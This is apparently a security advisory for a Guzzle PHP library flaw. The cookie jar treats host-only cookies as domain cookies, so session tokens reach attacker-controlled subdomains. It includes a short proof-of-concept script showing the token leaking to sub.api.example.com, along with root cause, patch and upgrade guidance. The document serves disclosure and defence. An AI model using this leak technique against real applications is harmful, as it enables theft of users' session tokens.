CVE-2026-67355: guzzlehttp/guzzle Host-Only Cookie Scope Bypass
Guzzle's cookie jar silently promotes host-only cookies into domain cookies, so any subdomain an attacker controls can receive session tokens that were meant exclusively for the origin host.

The problem
When a server sets a cookie with no Domain attribute, RFC 6265 requires that cookie to be treated as host-only and sent back only to the exact host that issued it.
Guzzle's CookieJar violated this rule. Its extractCookies() method filled the missing Domain field with the request hostname but never set a host-only flag. The stored cookie was then treated as a normal domain cookie, eligible for suffix matching. Any subdomain of the origin (for example sub.api.example.com when the origin is api.example.com) in the same cookie jar received the cookie on subsequent requests.
Proof of concept
A working proof-of-concept for this issue in guzzlehttp/guzzle, with the exact payload below.
<?php
// Attacker controls sub.api.example.com.
// Step 1: victim app makes a request to api.example.com.
// Server responds with a Set-Cookie that has NO Domain attribute:
// Set-Cookie: session=SECRET_TOKEN; Path=/; HttpOnly
//
// Step 2: Guzzle (< 7.15.1) stores this cookie as:
// Domain = "api.example.com" (no hostOnly flag)
//
// Step 3: victim app (reusing same CookieJar) makes ANY request
// to sub.api.example.com (attacker-controlled).
// Guzzle's matchesDomain() sees "sub.api.example.com" ends with
// ".api.example.com" -> match -> forwards the cookie.
//
// Outgoing request observed by attacker:
// GET / HTTP/1.1
// Host: sub.api.example.com
// Cookie: session=SECRET_TOKEN
$jar = new \GuzzleHttp\Cookie\CookieJar();
$client = new \GuzzleHttp\Client(['cookies' => $jar]);
// Trusted request - server sets a host-only cookie.
$client->get('https://api.example.com/login');
// Later request to attacker subdomain - cookie leaks.
$client->get('https://sub.api.example.com/collect');
The root cause is in CookieJar::extractCookies(). When Set-Cookie carries no Domain attribute, the code called $sc->setDomain($request->getUri()->getHost()) to fill in the host, but never recorded that the cookie was host-only. SetCookie::matchesDomain() therefore applied normal subdomain suffix matching to it, broadening the scope RFC 6265 explicitly forbids.
The patch (commit 7b68220) adds a private $hostOnly boolean to SetCookie. When extractCookies() detects a missing Domain attribute it now sets that flag instead of (or alongside) populating Domain. matchesDomain() then requires an exact host comparison for host-only cookies, refusing to send them to any subdomain.
CWE-201 (Insertion of Sensitive Information Into Sent Data) applies directly: the cookie value is transmitted to a party that should never receive it.
The fix
Update to guzzlehttp/guzzle 7.15.1 or later: composer require guzzlehttp/guzzle:^7.15.1. If an immediate upgrade is not possible, use a separate CookieJar instance per origin and never share one jar across trust boundaries. Avoid new Client(['cookies' => true]) for clients that contact more than one distinct host.
Reported by Alon Barad.
Related research
- high · 5.9CVE-2026-67354: guzzlehttp/guzzle URI Fragment Disclosure via Referer Header
- high · 7.2CVE-2026-69246CVE-2026-69246: Guzzle Noncanonical Host SSRF Bypass
- high · 7.5CVE-2026-53599CVE-2026-53599: REDAXO Mediapool Multi-Segment Filename Extension Bypass RCE
- critical · 9.6CVE-2026-54588CVE-2026-54588: Poweradmin Host Header Injection in OIDC / SAML / Logout Redirect